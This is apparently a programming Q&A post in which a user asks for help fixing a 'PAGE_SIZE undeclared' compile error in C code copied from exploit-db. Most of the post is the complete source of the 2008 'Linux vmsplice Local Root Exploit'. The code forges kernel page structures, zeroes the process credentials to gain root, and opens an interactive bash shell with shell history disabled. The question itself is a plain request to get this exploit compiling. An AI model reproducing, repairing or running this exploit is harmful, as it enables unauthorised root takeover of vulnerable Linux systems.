title: PAGE_SIZE undeclared C
body: <p>I am having some issues compiling / fixing a script due to the fact I am not well versed in the C language.</p>
  
  <p>I would appreciate some help fixing the issues!</p>
  
  <p>I get the following errors:</p>
  
  <blockquote>
  <pre><code>error: ‘PAGE_SIZE’ undeclared (first use in this function)
    pages[0] = *(void **) &amp;(int[2]){0,PAGE_SIZE};
  </code></pre>
  </blockquote>
  
  <p>This error is because PAGE_SIZE is set within asm/page.h (as far as I am aware)</p>
  
  <p>the code is below and from <a href="https://www.exploit-db.com/exploits/5092/" rel="noreferrer">https://www.exploit-db.com/exploits/5092/</a></p>
  
  <pre><code>   #define _GNU_SOURCE
      #include &lt;stdio.h&gt;
      #include &lt;errno.h&gt;
      #include &lt;stdlib.h&gt;
      #include &lt;string.h&gt;
      #include &lt;malloc.h&gt;
      #include &lt;limits.h&gt;
      #include &lt;signal.h&gt;
      #include &lt;unistd.h&gt;
      #include &lt;sys/uio.h&gt;
      #include &lt;sys/mman.h&gt;
  //    #include &lt;asm/page.h&gt; 
  // ^^ this was originally causing me issues, due to the fact this is compiled
  //within the kernel 
      #define __KERNEL__
      #include &lt;asm/page.h&gt; //moving it here fixed location error, but now I get the new issue
      #include &lt;asm/unistd.h&gt;
  
      #define PIPE_BUFFERS    16
      #define PG_compound 14
      #define uint        unsigned int
      #define static_inline   static inline __attribute__((always_inline))
      #define STACK(x)    (x + sizeof(x) - 40)
  
      struct page {
          unsigned long flags;
          int count;
          int mapcount;
          unsigned long private;
          void *mapping;
          unsigned long index;
          struct { long next, prev; } lru;
      };
  
      void    exit_code();
      char    exit_stack[1024 * 1024];
  
      void    die(char *msg, int err)
      {
          printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
          fflush(stdout);
          fflush(stderr);
          exit(1);
      }
  
      #if defined (__i386__)
  
      #ifndef __NR_vmsplice
      #define __NR_vmsplice   316
      #endif
  
      #define USER_CS     0x73
      #define USER_SS     0x7b
      #define USER_FL     0x246
  
      static_inline
      void    exit_kernel()
      {
          __asm__ __volatile__ (
          "movl %0, 0x10(%%esp) ;"
          "movl %1, 0x0c(%%esp) ;"
          "movl %2, 0x08(%%esp) ;"
          "movl %3, 0x04(%%esp) ;"
          "movl %4, 0x00(%%esp) ;"
          "iret"
          : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
              "i" (USER_CS), "r" (exit_code)
          );
      }
  
      static_inline
      void *  get_current()
      {
          unsigned long curr;
          __asm__ __volatile__ (
          "movl %%esp, %%eax ;"
          "andl %1, %%eax ;"
          "movl (%%eax), %0"
          : "=r" (curr)
          : "i" (~8191)
          );
          return (void *) curr;
      }
  
      #elif defined (__x86_64__)
  
      #ifndef __NR_vmsplice
      #define __NR_vmsplice   278
      #endif
  
      #define USER_CS     0x23
      #define USER_SS     0x2b
      #define USER_FL     0x246
  
      static_inline
      void    exit_kernel()
      {
          __asm__ __volatile__ (
          "swapgs ;"
          "movq %0, 0x20(%%rsp) ;"
          "movq %1, 0x18(%%rsp) ;"
          "movq %2, 0x10(%%rsp) ;"
          "movq %3, 0x08(%%rsp) ;"
          "movq %4, 0x00(%%rsp) ;"
          "iretq"
          : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
              "i" (USER_CS), "r" (exit_code)
          );
      }
  
      static_inline
      void *  get_current()
      {
          unsigned long curr;
          __asm__ __volatile__ (
          "movq %%gs:(0), %0"
          : "=r" (curr)
          );
          return (void *) curr;
      }
  
      #else
      #error "unsupported arch"
      #endif
  
      #if defined (_syscall4)
      #define __NR__vmsplice  __NR_vmsplice
      _syscall4(
          long, _vmsplice,
          int, fd,
          struct iovec *, iov,
          unsigned long, nr_segs,
          unsigned int, flags)
  
      #else
      #define _vmsplice(fd,io,nr,fl)  syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
      #endif
  
      static uint uid, gid;
  
      void    kernel_code()
      {
          int i;
          uint    *p = get_current();
  
          for (i = 0; i &lt; 1024-13; i++) {
              if (p[0] == uid &amp;&amp; p[1] == uid &amp;&amp;
                  p[2] == uid &amp;&amp; p[3] == uid &amp;&amp;
                  p[4] == gid &amp;&amp; p[5] == gid &amp;&amp;
                  p[6] == gid &amp;&amp; p[7] == gid) {
                  p[0] = p[1] = p[2] = p[3] = 0;
                  p[4] = p[5] = p[6] = p[7] = 0;
                  p = (uint *) ((char *)(p + 8) + sizeof(void *));
                  p[0] = p[1] = p[2] = ~0;
                  break;
              }
              p++;
          }   
  
          exit_kernel();
      }
  
      void    exit_code()
      {
          if (getuid() != 0)
              die("wtf", 0);
  
          printf("[+] root\n");
          putenv("HISTFILE=/dev/null");
          execl("/bin/bash", "bash", "-i", NULL);
          die("/bin/bash", errno);
      }
  
      int main(int argc, char *argv[])
      {
          int     pi[2];
          size_t      map_size;
          char *      map_addr;
          struct iovec    iov;
          struct page *   pages[5];
  
          uid = getuid();
          gid = getgid();
          setresuid(uid, uid, uid);
          setresgid(gid, gid, gid);
  
          printf("-----------------------------------\n");
          printf(" Linux vmsplice Local Root Exploit\n");
          printf(" By qaaz\n");
          printf("-----------------------------------\n");
  
          if (!uid || !gid)
              die("!@#$", 0);
  
          /*****/
          pages[0] = *(void **) &amp;(int[2]){0,PAGE_SIZE};
          pages[1] = pages[0] + 1;
  
          map_size = PAGE_SIZE;
          map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
                          MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
          if (map_addr == MAP_FAILED)
              die("mmap", errno);
  
          memset(map_addr, 0, map_size);
          printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
          printf("[+] page: 0x%lx\n", pages[0]);
          printf("[+] page: 0x%lx\n", pages[1]);
  
          pages[0]-&gt;flags    = 1 &lt;&lt; PG_compound;
          pages[0]-&gt;private  = (unsigned long) pages[0];
          pages[0]-&gt;count    = 1;
          pages[1]-&gt;lru.next = (long) kernel_code;
  
          /*****/
          pages[2] = *(void **) pages[0];
          pages[3] = pages[2] + 1;
  
          map_size = PAGE_SIZE;
          map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
                          MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
          if (map_addr == MAP_FAILED)
              die("mmap", errno);
  
          memset(map_addr, 0, map_size);
          printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
          printf("[+] page: 0x%lx\n", pages[2]);
          printf("[+] page: 0x%lx\n", pages[3]);
  
          pages[2]-&gt;flags    = 1 &lt;&lt; PG_compound;
          pages[2]-&gt;private  = (unsigned long) pages[2];
          pages[2]-&gt;count    = 1;
          pages[3]-&gt;lru.next = (long) kernel_code;
  
          /*****/
          pages[4] = *(void **) &amp;(int[2]){PAGE_SIZE,0};
          map_size = PAGE_SIZE;
          map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
                          MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
          if (map_addr == MAP_FAILED)
              die("mmap", errno);
          memset(map_addr, 0, map_size);
          printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
          printf("[+] page: 0x%lx\n", pages[4]);
  
          /*****/
          map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
          map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
                          MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
          if (map_addr == MAP_FAILED)
              die("mmap", errno);
  
          memset(map_addr, 0, map_size);
          printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  
          /*****/
          map_size -= 2 * PAGE_SIZE;
          if (munmap(map_addr + map_size, PAGE_SIZE) &lt; 0)
              die("munmap", errno);
  
          /*****/
          if (pipe(pi) &lt; 0) die("pipe", errno);
          close(pi[0]);
  
          iov.iov_base = map_addr;
          iov.iov_len  = ULONG_MAX;
  
          signal(SIGPIPE, exit_code);
          _vmsplice(pi[1], &amp;iov, 1, 0);
          die("vmsplice", errno);
          return 0;
      }
  
      // milw0rm.com [2008-02-09]
  </code></pre>